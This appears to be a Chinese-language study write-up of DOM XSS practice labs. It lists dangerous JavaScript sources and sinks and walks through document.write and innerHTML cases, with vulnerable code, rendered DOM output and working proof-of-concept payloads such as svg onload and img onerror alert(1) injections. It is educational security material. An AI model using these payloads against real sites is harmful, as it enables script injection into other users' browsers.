DOM XSS

jS如果使用以下source與sinks搭配,容易產生dom XSS漏洞

source是一個 JavaScript 屬性,它接受可能由攻擊者控制的資料,常見的高風險source如下

document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
location.search
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database

sinks是一種潛在危險的 JavaScript 函數或 DOM 對象,如果將攻擊者控制的資料傳遞給它,可能會導致不良影響,常見的高風險sinks如下

document.write()
document.writeln()
document.domain
document.body.innerHTML
someDOMElement.innerHTML
someDOMElement.outerHTML
someDOMElement.insertAdjacentHTML
someDOMElement.onevent
eval()


document.write+location.search example1

document.write函數使用來自location.search的資料,因此可以使用網站URL進行控制。

請求?search=test,返回內容如下,js的document.write將location.search的數據寫入頁面

<script>
function trackSearch(query) {
     document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
     trackSearch(query);
}
</script>
<section class="blog-list no-results">
     <div class="is-linkback">
        <a href="/">Back to Blog</a>
     </div>
</section>

使用chrome inspect看渲染結果如下,剛剛的輸入內容出現在img src

<script>
function trackSearch(query) {
     document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
     trackSearch(query);
}
</script>
<img src="/resources/images/tracker.gif?searchTerms=test">
<section class="blog-list no-results">
     <div class="is-linkback">
        <a href="/">Back to Blog</a>
     </div>
</section>

請求?search="><svg onload=alert(1)>,返回內容都相同,如下

<script>
function trackSearch(query) {
     document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
     trackSearch(query);
}
</script>
<section class="blog-list no-results">
     <div class="is-linkback">
        <a href="/">Back to Blog</a>
     </div>
</section>

使用chrome inspect看渲染結果如下,成功透過dom執行XSS攻擊

<script>
function trackSearch(query) {
     document.write('<img src="/resources/images/tracker.gif?searchTerms='+query+'">');
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
     trackSearch(query);
}
</script>
<img src="/resources/images/tracker.gif?searchTerms=">
<svg onload="alert(1)">">
     <section class="blog-list no-results"></section>
</svg>

ps: 該目標可用dom invader,但要在搜尋結果頁面上使用才能發現

Lab: DOM XSS in document.write sink using source location.search


document.write+location.search example2

在產品頁面上,危險的javascript原碼如下,從location.search來源提取storeId參數 。然後使用document.writeselect屬性內建新元素

<script>
    var stores = ["London","Paris","Milan"];
    var store = (new URLSearchParams(window.location.search)).get('storeId');
        document.write('<select name="storeId">');
        if(store) {
            document.write('<option selected>'+store+'</option>');
        }
        for(var i=0;i<stores.length;i++) {
              if(stores[i] === store) {
                    continue;
              }
        document.write('<option>'+stores[i]+'</option>');
     }
     document.write('</select>');
</script>

假如正常請求如下

############### request ###############
GET /product?productId=1
...omit...

############### response ###############
...omit...
<script>...</script>
<button type="submit" class="button">Check stock</button>
</form>
...omit...

chrome inspect看渲染結果如下,多出<select>元素

<script>...</script>
<select name="storeId">
  <option>London</option>
  <option>Paris</option>
  <option>Milan</option>
</select>
<button type="submit" class="button">Check stock</button>

增加&storeId=test在請求中做測試,可以發現返回結果還是一樣的

############### request ###############
GET /product?productId=1&storeId=test
...omit...

############### response ###############
...omit...
<script>...</script>
<button type="submit" class="button">Check stock</button>
</form>
...omit...

chrome inspect看渲染結果如下,在option選項多了剛剛的test

<script>...</script>
<select name="storeId">
  <option selected="">test</option>
  <option>London</option>
  <option>Paris</option>
  <option>Milan</option>
</select>
<button type="submit" class="button">Check stock</button>

分析該屬性可使用"></select><img%20src=1%20onerror=alert(1)>語法執行xss

############### request ###############
GET /product?productId=1&storeId="></select><img%20src=1%20onerror=alert(1)>
...omit...

############### response ###############
...omit...
<script>...</script>
<button type="submit" class="button">Check stock</button>
</form>
...omit...

chrome inspect看渲染結果如下,在option選項多了剛剛的test

<select name="storeId"><option selected="">"></option></select>
<img src="1" onerror="alert(1)">
  <option>London</option>
  <option>Paris</option>
  <option>Milan</option>
  <button type="submit" class="button">Check stock</button>
</select>

該目標用dom invader找不到,因為網頁直接回覆invalid product id

Lab: DOM XSS in document.write sink using source location.search inside a select element


innerHTML+location.search

innerHTML不接受任何現代瀏覽器上的script元素,也不會被svg onload觸發事件。因此需要使用替代元素像是imgiframe,並搭配onloadonerror使用

在搜尋頁面上,危險的javascript原碼如下 innerHTML使用來自location.search的資料,因此可以使用網站URL進行控制。

<script>
function doSearchQuery(query) {
      document.getElementById('searchMessage').innerHTML = query;
}
var query = (new URLSearchParams(window.location.search)).get('search');
if(query) {
      doSearchQuery(query);
}
</script>

請求?search=test,返回內容都一樣就先省略,直接看chrome inspect的變化如下,

<span>0 search results for '</span>
<span id="searchMessage">test</span>

請求?search=<img src="1" onerror="alert(1)">,chrome inspect的變化如下,

<span>0 search results for '</span>
<span id="searchMessage"><img src="1" onerror="alert(1)"></span>

上述的方式也可用,dom invader檢測

1 在頁面/?search=的情況,dom invader選擇inject url params,會彈出新分頁
2 在新分頁選擇inspect看dom invader
3 dom invader點search發現可以exploit

Lab: DOM XSS in innerHTML sink using source location.search